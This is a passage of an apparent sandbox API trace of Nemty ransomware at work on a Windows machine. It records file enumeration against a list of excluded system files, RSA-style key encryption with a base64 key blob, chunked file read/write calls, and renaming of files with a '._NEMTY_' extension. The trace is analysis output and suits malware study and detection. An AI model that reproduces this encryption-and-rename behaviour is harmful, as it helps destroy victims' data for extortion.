hHeap=0x4f90000) returned 1 [0087.264] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6345608 | out: hHeap=0x4f90000) returned 1 [0087.264] FindNextFileW (in: hFindFile=0x3423a70, lpFindFileData=0x653ecc8 | out: lpFindFileData=0x653ecc8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x6f52b71d, ftCreationTime.dwHighDateTime=0x1ca03fb, ftLastAccessTime.dwLowDateTime=0x6f52b71d, ftLastAccessTime.dwHighDateTime=0x1ca03fb, ftLastWriteTime.dwLowDateTime=0x4fd536e7, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0x17719, dwReserved0=0x11, dwReserved1=0x4f90000, cFileName="scenesscroll.png", cAlternateFileName="")) returned 1 [0087.264] lstrcmpiW (lpString1="scenesscroll.png", lpString2=".") returned 1 [0087.264] lstrcmpiW (lpString1="scenesscroll.png", lpString2="..") returned 1 [0087.264] lstrcmpiW (lpString1="scenesscroll.png", lpString2="...") returned 1 [0087.264] lstrcmpiW (lpString1="scenesscroll.png", lpString2="windows") returned -1 [0087.264] lstrcmpiW (lpString1="scenesscroll.png", lpString2="$RECYCLE.BIN") returned 1 [0087.264] lstrcmpiW (lpString1="scenesscroll.png", lpString2="rsa") returned 1 [0087.264] lstrcmpiW (lpString1="scenesscroll.png", lpString2="NTDETECT.COM") returned 1 [0087.264] lstrcmpiW (lpString1="scenesscroll.png", lpString2="ntldr") returned 1 [0087.264] lstrcmpiW (lpString1="scenesscroll.png", lpString2="MSDOS.SYS") returned 1 [0087.264] lstrcmpiW (lpString1="scenesscroll.png", lpString2="IO.SYS") returned 1 [0087.264] lstrcmpiW (lpString1="scenesscroll.png", lpString2="boot.ini") returned 1 [0087.264] lstrcmpiW (lpString1="scenesscroll.png", lpString2="boot.ini") returned 1 [0087.264] lstrcmpiW (lpString1="scenesscroll.png", lpString2="AUTOEXEC.BAT") returned 1 [0087.264] lstrcmpiW (lpString1="scenesscroll.png", lpString2="ntuser.dat") returned 1 [0087.265] lstrcmpiW (lpString1="scenesscroll.png", lpString2="desktop.ini") returned 1 [0087.265] lstrcmpiW (lpString1="scenesscroll.png", lpString2="CONFIG.SYS") returned 1 [0087.265] lstrcmpiW (lpString1="scenesscroll.png", lpString2="RECYCLER") returned 1 [0087.265] lstrcmpiW (lpString1="scenesscroll.png", lpString2="BOOTSECT.BAK") returned 1 [0087.265] lstrcmpiW (lpString1="scenesscroll.png", lpString2="bootmgr") returned 1 [0087.265] lstrcmpiW (lpString1="scenesscroll.png", lpString2="programdata") returned 1 [0087.265] lstrcmpiW (lpString1="scenesscroll.png", lpString2="appdata") returned 1 [0087.265] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x30) returned 0x6345608 [0087.265] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="scenesscroll.png", cchWideChar=16, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 16 [0087.265] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0087.265] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="scenesscroll.png", cchWideChar=16, lpMultiByteStr=0x4f9ecb8, cbMultiByte=16, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="scenesscroll.png", lpUsedDefaultChar=0x0) returned 16 [0087.265] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0087.265] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x30) returned 0x6345640 [0087.265] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="scenesscroll.png", cchWideChar=16, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 16 [0087.265] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0087.265] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="scenesscroll.png", cchWideChar=16, lpMultiByteStr=0x4f9ecb8, cbMultiByte=16, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="scenesscroll.png", lpUsedDefaultChar=0x0) returned 16 [0087.265] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0087.265] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6345640 | out: hHeap=0x4f90000) returned 1 [0087.265] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6345608 | out: hHeap=0x4f90000) returned 1 [0087.265] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x30) returned 0x6345608 [0087.265] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="scenesscroll.png", cchWideChar=16, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 16 [0087.265] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0087.265] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="scenesscroll.png", cchWideChar=16, lpMultiByteStr=0x4f9ecb8, cbMultiByte=16, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="scenesscroll.png", lpUsedDefaultChar=0x0) returned 16 [0087.265] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6345608 | out: hHeap=0x4f90000) returned 1 [0087.265] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x30) returned 0x6345608 [0087.265] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="scenesscroll.png", cchWideChar=16, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 16 [0087.265] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed58 [0087.265] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="scenesscroll.png", cchWideChar=16, lpMultiByteStr=0x4f9ed58, cbMultiByte=16, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="scenesscroll.png", lpUsedDefaultChar=0x0) returned 16 [0087.265] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6345608 | out: hHeap=0x4f90000) returned 1 [0087.265] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xa0) returned 0x6340048 [0087.265] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f94358 | out: hHeap=0x4f90000) returned 1 [0087.265] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xa0) returned 0x4f94358 [0087.265] Sleep (dwMilliseconds=0x5) [0087.280] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x653eae4 | out: lpSystemTimeAsFileTime=0x653eae4*(dwLowDateTime=0xe7ab71d0, dwHighDateTime=0x1d561e7)) [0087.280] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x653eae4 | out: lpSystemTimeAsFileTime=0x653eae4*(dwLowDateTime=0xe7ab71d0, dwHighDateTime=0x1d561e7)) [0087.280] GetLastError () returned 0x5 [0087.280] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x40) returned 0x6345e38 [0087.280] GetLastError () returned 0x5 [0087.280] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed08 [0087.280] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6345e38 | out: hHeap=0x4f90000) returned 1 [0087.280] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed30 [0087.280] CryptEncrypt (in: hKey=0x3423770, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x653e920*=0x0, dwBufLen=0x0 | out: pbData=0x0*, pdwDataLen=0x653e920*=0x100) returned 1 [0087.280] CryptEncrypt (in: hKey=0x3423770, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x653e924*, pdwDataLen=0x653e910*=0x10, dwBufLen=0x100 | out: pbData=0x653e924*, pdwDataLen=0x653e910*=0x100) returned 1 [0087.280] CryptBinaryToStringA (in: pbBinary=0x653e924, cbBinary=0x100, dwFlags=0x1, pszString=0x0, pcchString=0x653e91c | out: pszString=0x0, pcchString=0x653e91c) returned 1 [0087.280] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x165) returned 0x63400f0 [0087.280] CryptBinaryToStringA (in: pbBinary=0x653e924, cbBinary=0x100, dwFlags=0x1, pszString=0x63400f0, pcchString=0x653e91c | out: pszString="iijYgh/IkgVK1WyRgIRyYnp8Ooiv0rEx03We2I5a0R3pi3U9qwp5hlKu361nqaoC\r\nc99MQBim8DCiwrjw5Eg8cW7HS/vxHN9JHrX2e1AXtzcomtCJ1I7a59Pqw30KdEcb\r\ndOc2ztqNL/4ioCdbgsCpbA5HEQ+x9NOJ3iO7837Ec131zaXSmunobLHSVg6KMPGa\r\ndB6JlkSM6k4x1chnT8/M1HzGWfJCe4Blu63rmPpIbqR450loW2r6+F8hJRAzQfle\r\n5FAZAhk+dMewf2V0EOFmHUABW8HUS97dnWZfzXG6eJan5/useSaU6rO5R2Qn3Zr4\r\noVy+X1HhUvy8fZybpPZUPg==\r\n", pcchString=0x653e91c) returned 1 [0087.280] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x170) returned 0x6348d60 [0087.280] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x63400f0 | out: hHeap=0x4f90000) returned 1 [0087.280] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed30 | out: hHeap=0x4f90000) returned 1 [0087.280] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x10) returned 0x4f93620 [0087.280] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x167) returned 0x63400f0 [0087.281] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x170) returned 0x6348ed8 [0087.281] CreateFileW (lpFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\SpecialOccasion\\scenesscroll.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\specialoccasion\\scenesscroll.png"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff [0087.281] GetFileSizeEx (in: hFile=0xffffffff, lpFileSize=0x653eb70 | out: lpFileSize=0x653eb70*=18150282790955940) returned 0 [0087.281] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x27100) returned 0x634ad48 [0087.281] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51481554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0087.281] ReadFile (in: hFile=0xffffffff, lpBuffer=0x634ad48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x634ad48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0087.290] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51481554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0087.290] WriteFile (in: hFile=0xffffffff, lpBuffer=0x634ad48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0087.290] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51641554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0087.290] ReadFile (in: hFile=0xffffffff, lpBuffer=0x634ad48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x634ad48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0087.299] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51641554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0087.299] WriteFile (in: hFile=0xffffffff, lpBuffer=0x634ad48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0087.300] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51801554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0087.300] ReadFile (in: hFile=0xffffffff, lpBuffer=0x634ad48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x634ad48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0087.309] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51801554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0087.309] WriteFile (in: hFile=0xffffffff, lpBuffer=0x634ad48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0087.309] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51961554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0087.309] ReadFile (in: hFile=0xffffffff, lpBuffer=0x634ad48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x634ad48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0087.318] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51961554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0087.318] WriteFile (in: hFile=0xffffffff, lpBuffer=0x634ad48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0087.318] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52121554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0087.318] ReadFile (in: hFile=0xffffffff, lpBuffer=0x634ad48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x634ad48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0087.328] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52121554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0087.328] WriteFile (in: hFile=0xffffffff, lpBuffer=0x634ad48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0087.328] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52281554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0087.328] ReadFile (in: hFile=0xffffffff, lpBuffer=0x634ad48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x634ad48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0087.337] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52281554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0087.337] WriteFile (in: hFile=0xffffffff, lpBuffer=0x634ad48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0087.337] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52441554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0087.337] ReadFile (in: hFile=0xffffffff, lpBuffer=0x634ad48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x634ad48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0087.347] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52441554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0087.347] WriteFile (in: hFile=0xffffffff, lpBuffer=0x634ad48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0087.347] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52601554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0087.348] ReadFile (in: hFile=0xffffffff, lpBuffer=0x634ad48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x634ad48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0087.357] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52601554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0087.357] WriteFile (in: hFile=0xffffffff, lpBuffer=0x634ad48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0087.357] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52761554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0087.357] ReadFile (in: hFile=0xffffffff, lpBuffer=0x634ad48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x634ad48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0087.366] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52761554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0087.366] WriteFile (in: hFile=0xffffffff, lpBuffer=0x634ad48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0087.366] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52921554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0087.366] ReadFile (in: hFile=0xffffffff, lpBuffer=0x634ad48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x634ad48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0087.376] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52921554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0087.376] WriteFile (in: hFile=0xffffffff, lpBuffer=0x634ad48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0087.376] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0087.376] ReadFile (in: hFile=0xffffffff, lpBuffer=0x634ad48, nNumberOfBytesToRead=0x19000, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x634ad48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0087.382] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0087.382] WriteFile (in: hFile=0xffffffff, lpBuffer=0x634ad48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0087.382] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=106060708, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0087.382] ReadFile (in: hFile=0xffffffff, lpBuffer=0x634ad48, nNumberOfBytesToRead=0x19000, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x634ad48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0087.388] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=106060708, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0087.388] WriteFile (in: hFile=0xffffffff, lpBuffer=0x634ad48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0087.388] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=106163108, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0087.388] WriteFile (in: hFile=0xffffffff, lpBuffer=0x63400f0, nNumberOfBytesToWrite=0x167, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0087.388] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x634ad48 | out: hHeap=0x4f90000) returned 1 [0087.388] CloseHandle (hObject=0xffffffff) returned 0 [0087.388] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xa0) returned 0x6340260 [0087.388] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x401f9c, cbMultiByte=16, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 16 [0087.388] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed30 [0087.388] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x401f9c, cbMultiByte=16, lpWideCharStr=0x4f9ed30, cchWideChar=16 | out: lpWideCharStr="_NEMTY_kGOBjgD_") returned 16 [0087.388] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ece0 [0087.388] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed30 | out: hHeap=0x4f90000) returned 1 [0087.388] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xa0) returned 0x6340308 [0087.388] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xee) returned 0x63403b0 [0087.388] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6340308 | out: hHeap=0x4f90000) returned 1 [0087.388] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ece0 | out: hHeap=0x4f90000) returned 1 [0087.388] MoveFileW (lpExistingFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\SpecialOccasion\\scenesscroll.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\specialoccasion\\scenesscroll.png"), lpNewFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\SpecialOccasion\\scenesscroll.png._NEMTY_kGOBjgD_" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\specialoccasion\\scenesscroll.png._nemty_kgobjgd_")) returned 0 [0087.389] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x63403b0 | out: hHeap=0x4f90000) returned 1 [0087.389] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6340260 | out: hHeap=0x4f90000) returned 1 [0087.389] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f93620 | out: hHeap=0x4f90000) returned 1 [0087.389] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x63400f0 | out: hHeap=0x4f90000) returned 1 [0087.389] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6348ed8 | out: hHeap=0x4f90000) returned 1 [0087.389] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6348d60 | out: hHeap=0x4f90000) returned 1 [0087.389] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed08 | out: hHeap=0x4f90000) returned 1 [0087.389] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f94358 | out: hHeap=0x4f90000) returned 1 [0087.389] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed58 | out: hHeap=0x4f90000) returned 1 [0087.389] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0087.389] FindNextFileW (in: hFindFile=0x3423a70, lpFindFileData=0x653ecc8 | out: lpFindFileData=0x653ecc8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x6f5055c0, ftCreationTime.dwHighDateTime=0x1ca03fb, ftLastAccessTime.dwLowDateTime=0x6f5055c0, ftLastAccessTime.dwHighDateTime=0x1ca03fb, ftLastWriteTime.dwLowDateTime=0x4fd536e7, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0xb30, dwReserved0=0x11, dwReserved1=0x4f90000, cFileName="specialmainsubpicture.png", cAlternateFileName="")) returned 1 [0087.389] lstrcmpiW (lpString1="specialmainsubpicture.png", lpString2=".") returned 1 [0087.389] lstrcmpiW (lpString1="specialmainsubpicture.png", lpString2="..") returned 1 [0087.389] lstrcmpiW (lpString1="specialmainsubpicture.png", lpString2="...") returned 1 [0087.389] lstrcmpiW (lpString1="specialmainsubpicture.png", lpString2="windows") returned -1 [0087.389] lstrcmpiW (lpString1="specialmainsubpicture.png", lpString2="$RECYCLE.BIN") returned 1 [0087.389] lstrcmpiW (lpString1="specialmainsubpicture.png", lpString2="rsa") returned 1 [0087.389] lstrcmpiW (lpString1="specialmainsubpicture.png", lpString2="NTDETECT.COM") returned 1 [0087.389] lstrcmpiW (lpString1="specialmainsubpicture.png", lpString2="ntldr") returned 1 [0087.389] lstrcmpiW (lpString1="specialmainsubpicture.png", lpString2="MSDOS.SYS") returned 1 [0087.389] lstrcmpiW (lpString1="specialmainsubpicture.png", lpString2="IO.SYS") returned 1 [0087.389] lstrcmpiW (lpString1="specialmainsubpicture.png", lpString2="boot.ini") returned 1 [0087.389] lstrcmpiW (lpString1="specialmainsubpicture.png", lpString2="boot.ini") returned 1 [0087.389] lstrcmpiW (lpString1="specialmainsubpicture.png", lpString2="AUTOEXEC.BAT") returned 1 [0087.389] lstrcmpiW (lpString1="specialmainsubpicture.png", lpString2="ntuser.dat") returned 1 [0087.389] lstrcmpiW (lpString1="specialmainsubpicture.png", lpString2="desktop.ini") returned 1 [0087.389] lstrcmpiW (lpString1="specialmainsubpicture.png", lpString2="CONFIG.SYS") returned 1 [0087.389] lstrcmpiW (lpString1="specialmainsubpicture.png", lpString2="RECYCLER") returned 1 [0087.389] lstrcmpiW (lpString1="specialmainsubpicture.png", lpString2="BOOTSECT.BAK") returned 1 [0087.389] lstrcmpiW (lpString1="specialmainsubpicture.png", lpString2="bootmgr") returned 1 [0087.390] lstrcmpiW (lpString1="specialmainsubpicture.png", lpString2="programdata") returned 1 [0087.390] lstrcmpiW (lpString1="specialmainsubpicture.png", lpString2="appdata") returned 1 [0087.390] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x40) returned 